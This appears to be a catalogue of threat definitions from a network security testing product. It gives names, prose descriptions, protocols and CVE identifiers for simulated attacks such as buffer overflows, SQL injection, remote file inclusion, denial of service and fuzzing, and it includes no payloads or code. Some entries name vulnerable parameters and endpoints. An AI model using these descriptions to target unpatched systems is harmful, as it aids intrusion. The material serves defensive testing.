Detailed Description:	This threat is an HTTP request for a .BAT file. While not unusual by itself, it can represent either the execution of strange remote code, or an attempted download of malware.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20070323-01_Microsoft_Windows_Vista_Windows_Mail_File_Execution.xml
Executive Description:	Microsoft Windows Vista Windows Mail File Execution
Detailed Description:	There exists a vulnerability in Microsoft Windows Mail product. The vulnerability is due to insufficient validation of URLs in incoming emails. A remote attacker can exploit this vulnerability by enticing a target user to open an email message and click on a specially crafted URL within the message which refers to an executable file on the client system. Successful exploitation would allow for arbitrary command execution with the privileges of the currently logged-in user.
Protocol Type:	SMTP
CVEID:	CVE-2007-1658
Threat Package:	Standard
Threat File Name:	SNMPprobe.xml
Executive Description:	SNMP Probe OID: 2

Detailed Description:	This threat sends an SNMP get-next request with a OID of 2. May indicate that someone is trying to glean as much information possible from the system by requesting such a large dataset.
Protocol Type:	SNMP
Threat Package:	Standard
Threat File Name:	phpbb_mutant_rfi.xml
Executive Description:	phpBB mutant 0.9.2 (phpbb_root_path) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. phpBB Mutant is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	isight_IPv6.xml
Executive Description:	Apple Safari isight Snooping (IPv6 Version)
Detailed Description:	This threat mimics the downloading of a malicious piece of java code that will run in the apple safari browser and load the apple isight camera. This allows a malicious web site to take pictures and video of the person viewing the webpage. This attack would typically come from a web server on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5681
Threat Package:	Standard
Threat File Name:	TSL20140408-01_OpenSSL_TLS_DTLS_Heartbeat_Information_Disclosure.xml
Executive Description:	OpenSSL TLS DTLS Heartbeat Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in OpenSSL. The vulnerability is due to an error when handling TLS/DTLS heartbeat packets. An attacker can leverage this vulnerability to disclose memory contents of a connected client or server.
Protocol Type:	TLS, DTLS, HTTPS, SMTPS, SIPS
CVEID:	CVE-2014-0160
OSVDB:	105465
Threat File Name:	FSC20071031-15_Macrovision_InstallShield_Update_Service_ActiveX_Control_Code_Execution_IPv6.xml
Executive Description:	Macrovision InstallShield Update Service ActiveX Control Code Execution (IPv6 Version)
Detailed Description:	There exists an access control weakness vulnerability in Macrovision InstallShield Update Service ActiveX Control isusweb.dll. The vulnerability is due to a design error while processing webpage scripts. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious webpage, potentially allowing arbitrary code to be executed in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-5660
Threat Package:	Standard
Threat File Name:	FSC20090602-06_Apple_QuickTime_Movie_File_Clippling_Region_Handling_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime Movie File Clipping Region Handling Heap Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a heap buffer overflow vulnerability in Apple QuickTime. The vulnerability is due to lack of boundary checks while processing Clipping Region (CRGN) atoms embedded in QuickTime movie files. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted QuickTime movie file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. In an attack case where code injection is not successful, the affected Apple QuickTime process will terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0954
Threat Package:	Standard
Threat File Name:	communicate_ldap_dos_IPv6.xml
Executive Description:	CommuniGate Pro Server LDAP BER Decoding Malformed Input DoS (IPv6 Version)
Detailed Description:	This threat sends a malformed LDAP packet causing the CommuniGate processes to crash. CommuniGate Pro is an internet gateway, this attack is against the LDAP feature, which typically listens on port 389. (IPv6 Version)
Protocol Type:	LDAP/IPv6
CVEID:	CVE-2006-0468
OSVDB:	22788
Threat File Name:	realtor_747_sql.xml
Executive Description:	Realtor 747 (index.php categoryid) Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a HTTP request for a URL that contains an SQL query which will be executed on the affected server. Realtor 747 is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	microsoftNNTPHeap_IPv6.xml
Executive Description:	Microsoft NNTP Heap Overflow (IPv6 Version)
Detailed Description:	This threat sends a malicious payload that will crash the NNTP server that comes with Windows 2000, NT, 2003 and certain versions of Exchange. The security bulletin for this threat is MS04-036. (IPv6 Version)
Protocol Type:	NNTP/IPv6
CVEID:	CVE-2004-0574
OSVDB:	10697
Threat Package:	Standard
Threat File Name:	TSL20160119-33_Oracle_Application_Testing_Suite_ActionServlet_Authentication_Bypass_IPv6.xml
Executive Description:	Oracle Application Testing Suite ActionServlet Authentication Bypass(IPv6 version)

Detailed Description:	An authentication bypass vulnerability has been reported in the Oracle Application Testing Suite. The vulnerability is due to insufficient input validation by the ActionServlet servlet when processing HTTP requests. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted HTTP request to the target server. Successful exploitation allows the attacker to bypass authentication requirements on the target.
Protocol Type:	HTTP, IPV6
CVEID:	CVE-2016-0487
Threat File Name:	FSC20081010-04_Apple_CUPS_SGI_Image_Format_Decoding_imagetops_Filter_Buffer_Overflow.xml
Executive Description:	Apple CUPS SGI Image Format Decoding imagetops Filter Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Apple's Common Unix Printing System (CUPS) distributed by multiple vendors. The vulnerability is due to a boundary error in handling SGI Image format files. A remote attacker can exploit this vulnerability to compromise a vulnerable system. In an attack case where code injection is not successful, the affected application will terminate abnormally. In a more sophisticated attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service, with the privileges of the printer user, normally lp.
Protocol Type:	IPP
CVEID:	CVE-2008-3639
Threat Package:	Standard
Threat File Name:	TSL20140610-01_Microsoft_Internet_Explorer_behavior_Property_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer behavior Property Use After Free IPv6 Version
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP/HTTPS. IPV6
CVEID:	CVE-2014-1775
OSVDB:	107856
Threat File Name:	FSC20060217-04_Microsoft_Internet_Explorer_Script_Engine_Stack_Exhaustion.xml
Executive Description:	Microsoft Internet Explorer Script Engine Stack Exhaustion
Detailed Description:	A stack exhaustion vulnerability exists in the Microsoft Internet Explorer Script Engine. The flaw is caused by certain types of recursive function calls in Javascript code. An attacker can exploit this vulnerability to cause a denial of service condition of the vulnerable application.
Protocol Type:	HTTP
CVEID:	CVE-2006-0753
Threat Package:	Standard
Threat File Name:	FSC20101103-03_Microsoft_Internet_Explorer_Invalid_Flag_Reference_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Invalid Flag Reference Memory (IPV6 VERSION)
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an invalid flag reference within Internet Explorer. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behavior of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6, HTTP, HTTPS
CVEID:	CVE-2010-3962
Threat File Name:	openldap_buf.xml
Executive Description:	OpenLDAP Server Kerveros 4 Bind Request Buffer Overflow Vulnerability
Detailed Description:	
Protocol Type:	LDAP
CVEID:	CVE-2006-6493
Threat Package:	Standard
Threat File Name:	TSL20140328-07_Symantec_LiveUpdate_Administrator_Security_Bypass_IPv6.xml
Executive Description:	Symantec LiveUpdate Administrator Security Bypass (IPV6 Version)
Detailed Description:	A security policy bypass vulnerability exists in Symantec LiveUpdate Administrator. The vulnerability is due to a failure to validate temporary passwords when processing a user account password reset. This can result in an arbitrary password reset. A remote unauthenticated attacker could exploit this vulnerability by sending a malicious request to forcepasswd.do, providing a LiveUpdate Administrator victim email, and a new password, effectively setting the victim user password to any arbitrary value. Successful exploitation could lead to security policy bypass and access to sensitive information.
Protocol Type:	HTTP, HTTPS, IPV6
CVEID:	CVE-2014-1644
OSVDB:	105090
Threat File Name:	TSL20120508-16_Microsoft_Excel_MergeCells_Record_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Excel MergeCells Record Parsing Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to a boundary error when parsing MergeCells Excel records, which could lead to memory corruption. A remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS
CVEID:	CVE-2012-0185
OSVDB:	Not been assigned
Threat File Name:	ideocontent_xss_b.xml
Executive Description:	IdeoContent Manager Index.php page Variable XSS
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. IdeoContent Manager is a web based interface that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0463

Threat File Name:	ICMPingScan.xml
Executive Description:	ICMP Ping Scan (ECHO request)
Detailed Description:	This threat issues a ICMP Echo Request of an IP address range, much like the Nachi worm. Can cause a firewall to use up available memory for Network Address Translation (NAT).
Protocol Type:	ICMP
Threat Package:	Standard
Threat File Name:	TSL20170118-01_Fatek_Automation_PLC_WinProladder_Stack_Buffer_Overflow.xml
Executive Description:	Fatek Automation PLC WinProladder Stack Buffer Overflow
Detailed Description:	A stack-based buffer overflow exists in Fatek Automation PLC WinProladder. The vulnerability is due to improper validation of user supplied data before copying to a stack-based buffer. A remote attacker could exploit this vulnerability by sending a crafted .pdw file over a network to the vulnerable application. Successful exploitation could result in denial of service conditions or, in the worst case, arbitrary code execution in the context of the user running the application. The vendor, Fatek Automation, has not released a patch regarding this vulnerability at the time of writing.
Protocol Type:	FTP,HTTP,HTTPS,IMAP,NFS,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2016-8377
Threat File Name:	realSWF_IPv6.xml
Executive Description:	RealPlayer SWF Parsing Heap Overflow (IPv6 Version)
Detailed Description:	This threat sends a malicious SWF file with a length specified of 0 bytes. This leads to memory corruption, and potentially code execution. This threat comes as a file download from a malicious HTTP server from the virtual server. Web Servers typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0323
OSVDB:	24061
Threat Package:	Standard
Threat File Name:	alice_msngr_activex_overwrite.xml
Executive Description:	Telecom Italy Alice Messenger Hp.Revolution.RegistryManager.dll (v.1) remote arbitrary registry key manipulation
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Alice Messenger Hp.Revolution.RegistryManager.dll ActiveX Control, resulting in the overwriting of arbitrary files, such as the registry. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080212-09_Microsoft_Active_Directory_LDAP_Query_Handling_Denial_of_Service.xml
Executive Description:	Microsoft Active Directory LDAP Query Handling Denial of Service
Detailed Description:	There exists a denial of service vulnerability in the Microsoft Active Directory. The vulnerability is caused by improper handling of specifically crafted LDAP requests. A remote attacker can exploit this vulnerability to create a denial of service condition on the target system.
Protocol Type:	LDAP
CVEID:	CVE-2008-0088
Threat Package:	Standard
Threat File Name:	starftp_dos.xml
Executive Description:	Star FTP Server 1.10 (RETR) Remote Denial of Service Vulnerability
Detailed Description:	This threat exploits a flaw in StarFTP by using a large RETR request to crash the service. StarFTP is ftp server software and typically listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-2006-6643
Threat Package:	Standard
Threat File Name:	fuzz-ARP_destMac.xml
Executive Description:	Fuzzer for Protocol:ARP and Field:destMac
Detailed Description:	
Protocol Type:	ARP
Threat Package:	Fuzzing
Threat File Name:	TSL20160510-26_Microsoft_Scripting_Engine_CVE-2016-0189_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Scripting Engine CVE-2016-0189 Memory Corruption (IPv6 version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft VBScript and JScript engines used by Internet Explorer. This vulnerability is due to improper object access in memory.A remote attacker could exploit these vulnerabilities by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2016-0189
Threat File Name:	ms05-020_IPv6.xml
Executive Description:	MS05-020 Internet Explorer Overflow (IPv6 Version)
Detailed Description:	This threat is a buffer overflow attack on the DHTML component of Microsoft Internet Explorer. If viewed by a susceptible webbrowser, it can lead to arbitrary code execution. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0553
OSVDB:	15465
Threat Package:	Standard
Threat File Name:	FSC20060202-07_Mozilla_Products_QueryInterface_Method_Memory_Corruption.xml
Executive Description:	Mozilla Products QueryInterface Method Memory Corruption
Detailed Description:	A vulnerability exists in numerous Mozilla products. The flaw concerns a memory corruption issue caused by the QueryInterface method of the Location and Navigator objects. By persuading the target user to open a web page that contains malicious script, an attacker may execute arbitrary code on the target user's system.
Protocol Type:	HTTP

CVEID:	CVE-2006-0295
Threat Package:	Standard
Threat File Name:	nmapPing.xml
Executive Description:	nmap ICMP Ping
Detailed Description:	This threat mimics the ping packet that is sent out by the nmap port scanning program. Can be used as part of a portscan of an IP sweep looking for vulnerable ports.
Protocol Type:	ICMP
CVEID:	CVE-1999-0454
Threat Package:	Standard
Threat File Name:	TSL20110614-02_Microsoft_Office_Word_Remote_Code_Execution.xml
Executive Description:	Microsoft Office Word Remote Code Execution
Detailed Description:	A code execution vulnerability has been reported in Microsoft Office Word. The vulnerability is due to a memory corruption when parsing a specially crafted Word file. An attacker could possibly exploit this vulnerability to execute arbitrary code in the context of the current user by enticing them to open a specially crafted Word document. The vendor, Microsoft, has not yet released an advisory regarding this vulnerability. TELUS Security Labs has been unable to describe the exact triggering conditions with the contractual research period.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
Threat File Name:	fuzz-Ethernet_srcMac.xml
Executive Description:	Fuzzer for Protocol:Ethernet and Field:srcMac
Detailed Description:	
Protocol Type:	Ethernet
Threat Package:	Fuzzing
Threat File Name:	TSL20160429-13_SolarWinds_SRM_Profiler_FileActionAssignmentServlet_assignedNames_SQL_Injection.xml
Executive Description:	SolarWinds SRM Profiler FileActionAssignmentServlet assignedNames SQL Injection
Detailed Description:	An SQL injection vulnerability has been reported in the SolarWinds Storage Manager Resource Monitor, Profiler Module. This vulnerability is due to insufficient validation of the assignedNames parameter in HTTP requests sent to the FileActionAssignmentServlet servlet. A remote, authenticated attacker could exploit this vulnerability by sending a web request with a malicious SQL query to the target server. Successful exploitation could lead to arbitrary code execution in the security context of SYSTEM.
Protocol Type:	HTTP
CVEID:	CVE-2016-4350
Threat File Name:	TSL20110411-03_Novell_ZENworks_Asset_Management_File_Upload_Directory_Traversal.xml
Executive Description:	Novell ZENworks Asset Management File Upload Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in Novell ZENworks Configuration Management. The vulnerability is due to insufficient input validation within the ZENworks Server's FileUploadServlet. Remote unauthenticated attackers can leverage this vulnerability to upload malicious files anywhere onto the target server. Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the vulnerable system with the privileges of the Administrator user. In this case, the behaviour of the target machine is dependent on the logic of the malicious code. A directory traversal vulnerability exists in Novell ZENworks Configuration Management. The vulnerability is due to insufficient input validation within the ZENworks Server's FileUploadServlet. Remote unauthenticated attackers can leverage this vulnerability to upload malicious files anywhere onto the target server. Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the vulnerable system with the privileges of the Administrator user. In this case, the behaviour of the target machine is dependent on the logic of the malicious code. A directory traversal vulnerability exists in Novell ZENworks Configuration Management. The vulnerability is due to insufficient input validation within the ZENworks Server's FileUploadServlet. Remote unauthenticated attackers can leverage this vulnerability to upload malicious files anywhere onto the target server. Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the vulnerable system with the privileges of the Administrator user. In this case, the behaviour of the target machine is dependent on the logic of the malicious code.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-4229
Threat File Name:	arkidb_sql1.xml
Executive Description:	Arki-DB Index.PHP SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query to be executed by the server. Arki-DB is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3696
OSVDB:	20944
Threat Package:	Standard
Threat File Name:	crobftp_dos_IPv6.xml
Executive Description:	Crob FTP Server Remote Heap Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat demonstrates a flaw in the Crob FTP Server by using a large buffer to cause a denial of service condition. Crob FTP Server is ftp server software that typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140603-16_Rocket_Servergraph_Admin_Center_fileRequestor_del_Directory_Traversal_IPv6.xml
Executive Description:	Rocket Servergraph Admin Center fileRequestor del Directory Traversal IPv6 version.
Detailed Description:	A denial of service vulnerability exists in Rocket Servergraph, an interface for monitoring backup solutions such as IBM Tivoli Storage Manager, Symantec NetBackup etc. The vulnerability is due to a directory traversal when handling requests to the URI's fileRequestor.A remote unauthenticated attacker can exploit the vulnerability to delete files on the target server.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-3914
OSVDB:	107677
Threat File Name:	FSC20100120-02_Sun_Java_System_Web_Server_WEBDAV_Stack_Buffer_Overflow.xml

Executive Description:	Sun Java System Web Server WEBDAV Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Sun Java System Web Server. The vulnerability is due to a boundary error when processing crafted WEBDAV requests. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the affected process. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the logic of the malicious code. An unsuccessful exploit attempt may abnormally terminate the affected service.
Protocol Type:	WebDAV
Threat Package:	Standard
Threat File Name:	pegames_rfi_IPv6.xml
Executive Description:	PEGames Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PEGame is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	IEDOS2_IPv6.xml
Executive Description:	IE Denial of Service Crash (IPv6 Version)
Detailed Description:	This threat causes a crash in Internet Explorer's HTML renderer. Internet Explorer is a web browser, and typically connects to web servers on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	request_com1_IPv6.xml
Executive Description:	HTTP Request for COM1 (IPv6 Version)
Detailed Description:	This threat makes a request for a reserved device represented by a filename (COM1). Causes some web servers on Windows to crash when attempting to read the file. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-2316
Threat Package:	Standard
Threat File Name:	FSC20100716-03_Ipswitch_IMail_Server_List_Mailer_Reply-To_Address_Buffer_Overflow.xml
Executive Description:	Ipswitch IMail Server List Mailer Reply-To Address Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Ipswitch IMail Server List Mailer component. The vulnerability is due to a boundary error in the IMailSrv.exe which handles messages sent to the IMail Server. The vulnerable code does not properly handle multiple "Reply-To:" headers in the incoming messages. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted message to the affected service. Successful exploitation of this vulnerability can lead to arbitrary code execution under the context of the System user.
Protocol Type:	SMTP,SMTPS
Threat Package:	Standard
Threat File Name:	adodb_dos.xml
Executive Description:	ADODB tmsql.php Denial of service (win32)
Detailed Description:	This threat sends a standard HTTP query which causes ADODB to attempt to close a file descriptor which has not yet been initialized, causing windows to raise an exception. ADODB typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	MS04-007_IPv6.xml
Executive Description:	MS04-007 ASN1 SMB Exploit (IPv6 Version)
Detailed Description:	This threat attempts to gain entry to a Windows server through the ASN1 vulnerability described in CVE-2003-0818. This threat was fixed by Microsoft's patch, however the vulnerability details have only been disclosed. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2003-0818
OSVDB:	3902
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_FixedSizeOfData_RangingBlockNo_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_FixedSizeOfData_RangingBlockNo.xml (IPv6 Version)
Detailed Description:	Fuzzes BlockNo field by ranging the block number. OpCode is 03 (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20120618-02_Ruby_on_Rails_Where_Hash_SQL_Injection.xml
Executive Description:	Ruby on Rails Where Hash SQL Injection
Detailed Description:	A vulnerability has been discovered in Ruby on Rails. The vulnerability is due to an improper input validation error while handling hash values. A remote attacker could exploit this vulnerability by sending malicious SQL code as part of the vulnerable parameter via a specially crafted URL, possibly leading to manipulation of data in the database or information disclosure.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-2695
OSVDB:	82403
Threat File Name:	FSC20070425-18_Apple_QuickTime_Crafted_Media_File_FlipFileTypeAtom_BtoN_Integer_Underflow.xml
Executive Description:	Apple QuickTime Crafted Media File FlipFileTypeAtom_BtoN Integer Underflow
Detailed Description:	There exists a vulnerability in Apple QuickTime. The flaw is due to an integer underflow error in the "FlipFileTypeAtom_BtoN" function when processing crafted QuickTime media files. Successful exploitation allows remote attackers to execute arbitrary code under the context of the currently logged-in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-2296
Threat Package:	Standard

Threat File Name:	FSC20080103-04_Adobe_Flash_Player_ActiveX_Control_navigateToURL_Cross-Site_Scripting_IPv6.xml
Executive Description:	Adobe Flash Player ActiveX Control navigateToURL Cross-Site Scripting (IPv6 Version)
Detailed Description:	There exists a cross-site scripting vulnerability in the way Adobe Flash Player processes SWF files. The vulnerability is due to lack of input validation while parsing the parameter of navigateToURL function. A remote attacker can exploit this vulnerability by enticing the target user to open malicious web page embedding SWF files, potentially executing arbitrary HTML code within the context of a trusted web site. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6244
Threat Package:	Standard
Threat File Name:	TSL20140220-14_Adobe_Flash_Player_SharedObject_Use_After_Free.xml
Executive Description:	Adobe Flash Player SharedObject Use After Free
Detailed Description:	A code execution vulnerability exists in Adobe Flash Player. The vulnerability is due to a use-after-free error when terminating a worker thread containing a SharedObject. A remote attacker could exploit this vulnerability by enticing a target user to visit a web page embedding a specially crafted Flash file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user. Note that this vulnerability is being actively exploited in the wild.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2014-0502
OSVDB:	103518
Threat File Name:	tbarcode_activex_overwrt.xml
Executive Description:	TEC-IT TBarCode OCX ActiveX Remote Arbitrary File Overwrite Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a flaw in TBarCode OCX ActiveX Component allowing it to overwrite any file on the victim system. this threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3233
Threat Package:	Standard
Threat File Name:	evoBB_rfi.xml
Executive Description:	evoBB <= v0.3 (path) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. EvoBB is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5087
Threat Package:	Standard
Threat File Name:	FSC20070820-17 EMC_Legato_NetWorker_Remote_Exec_Service_Buffer_Overflow.xml
Executive Description:	EMC Legato NetWorker Remote Exec Service Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in EMC legato NetWorker product. The flaw is due to improper boundary protection when processing RPC requests. A remote unauthenticated attacker can leverage this vulnerability by sending crafted RPC message to the target host, potentially inject and execute arbitrary code with System level privileges.
Protocol Type:	TCP
CVEID:	CVE-2007-3618
Threat Package:	Standard
Threat File Name:	TSL20131024-06_Oracle_Outside_In_OS_2_Metatype_Parser_Denial_of_Service.xml
Executive Description:	Oracle Outside In OS 2 Metatype Parser Denial of Service
Detailed Description:	A denial of service vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability is due to an error while processing OS/2 Metatypes. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable libraries to handle a malformed file. Depending on the application, user interaction may be required. Successful exploitation can result in a denial of service condition of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
Threat File Name:	FSC20080725-07_RealNetworks_RealPlayer_SWF_Frame_Handling_Buffer_Overflow.xml
Executive Description:	RealNetworks RealPlayer SWF Frame Handling Buffer Overflow
Detailed Description:	There exists a heap buffer overflow vulnerability in the RealNetworks RealPlayer product. The vulnerability is due to a design error within the handling of frames in Shockwave Flash (SWF) files. A remote attacker can exploit this vulnerability to create a heap overflow condition in the target application. Successful exploitation could lead to arbitrary code execution with the privileges of the currently logged in user. In an attack attempt which results in successful code execution, the process flow of the vulnerable application will be diverted to attacker supplied code. The result of such an attack is entirely dependent on the purpose of the injected code. In an unsuccessful attack attempt, the affected application will terminate as a result of memory corruption.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2007-5400
Threat Package:	Standard
Threat File Name:	FSC20060704-16_Linux_Kernel_SCTP_Chunkless_Packet_Denial_of_Service.xml
Executive Description:	Linux Kernel SCTP Chunkless Packet Denial of Service
Detailed Description:	There exists a remote denial of service vulnerability in the Linux Kernel. The vulnerability occurs due to insufficient checks during the processing of SCTP packets by the netfilter module, namely those without any Chunk elements. By sending a crafted SCTP packet to a target host, an attacker may exploit this vulnerability to shut down a vulnerable host, thus creating a system wide denial of service condition.
Protocol Type:	SCTP
CVEID:	CVE-2006-2934
Threat Package:	Standard
Threat File Name:	TSL20170412-09_Adobe_Acrobat_ImageConversion_PCX_Parsing_Out-Of-Bounds_Write.xml
Executive Description:	Adobe Acrobat ImageConversion PCX Parsing Out-Of-Bounds Write
Detailed Description:	An out of bounds write vulnerability has been reported in the ImageConversion component of Adobe Acrobat. The vulnerability is due to improper processing of PCX files. A remote attacker could exploit the vulnerability by enticing a user to open a maliciously crafted PCX file. Successful exploitation of the vulnerability could lead to remote code execution under the context of the user.

Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP
CVEID:	CVE-2017-3036
Threat File Name:	javaWebServer_IPv6.xml
Executive Description:	Java Web Server Remote Command Execution (IPv6 Version)
Detailed Description:	This threat attempts to compile an HTML page and execute it through the Java Web Server application. Allows the remote attacker to create and run any program of their choosing. Java Web Server administration panel typically listens on port 9090 and uses HTTP. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2000-0812
OSVDB:	10880
Threat Package:	Standard
Threat File Name:	FSC20090525-03_Sun_Solaris_sadmind_RPC_Request_Buffer_Overflow_IPv6.xml
Executive Description:	Sun Solaris sadmind RPC Request Buffer Overflow (IPv6 Version)
Detailed Description:	A heap-based buffer overflow vulnerability exists in the sadmind service within the Sun Solaris operating system. The vulnerability is due to an input validation error when allocating a heap buffer while parsing specially crafted RPC requests. A remote unauthenticated attacker can leverage this vulnerability by sending a crafted RPC message to the target host, to potentially inject and execute arbitrary code with root level privileges. In a sophisticated attack case where code injection and execution is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service, normally root. In case if the code execution is not achieved, the sadmind service will be terminated abnormally. (IPv6 Version)
Protocol Type:	SUNRPC/IPv6
CVEID:	CVE-2008-3869
Threat Package:	Standard
Threat File Name:	TSL20170201-02_HPE_Intelligent_Management_Center_PLAT_RedirectServlet_parafire_Directory_Traversal.xml
Executive Description:	HPE Intelligent Management Center PLAT RedirectServlet parafire Directory Traversal
Detailed Description:	A directory traversal vulnerability has been reported in HPE Intelligent Management Center PLAT. The vulnerability is due to a missing input validation of parafire parameter in RedirectServlet. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted packets to the target service. Successful exploitation results in denial of service conditions.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2016-8530
Threat File Name:	ms_foxpro_activex_bof_IPv6.xml
Executive Description:	Microsoft Visual FoxPro FPOLE.OCX ActiveX Control Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Microsoft Visual FoxPro FPOLE.OCX ActiveX Control, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4790
Threat Package:	Standard
Threat File Name:	TotalCalendar_cmi_IPv6.xml
Executive Description:	TotalCalendar 2.30 Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query which allows an arbitrary file inclusion via the inc_dir variable. TotalCalendar is a web application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1922
Threat File Name:	TSL20120912-01_Adobe_Flash_Player_copyRawDataTo_Out_of_Bounds_Array_Indexing.xml
Executive Description:	Adobe Flash Player copyRawDataTo Out of Bounds Array Indexing
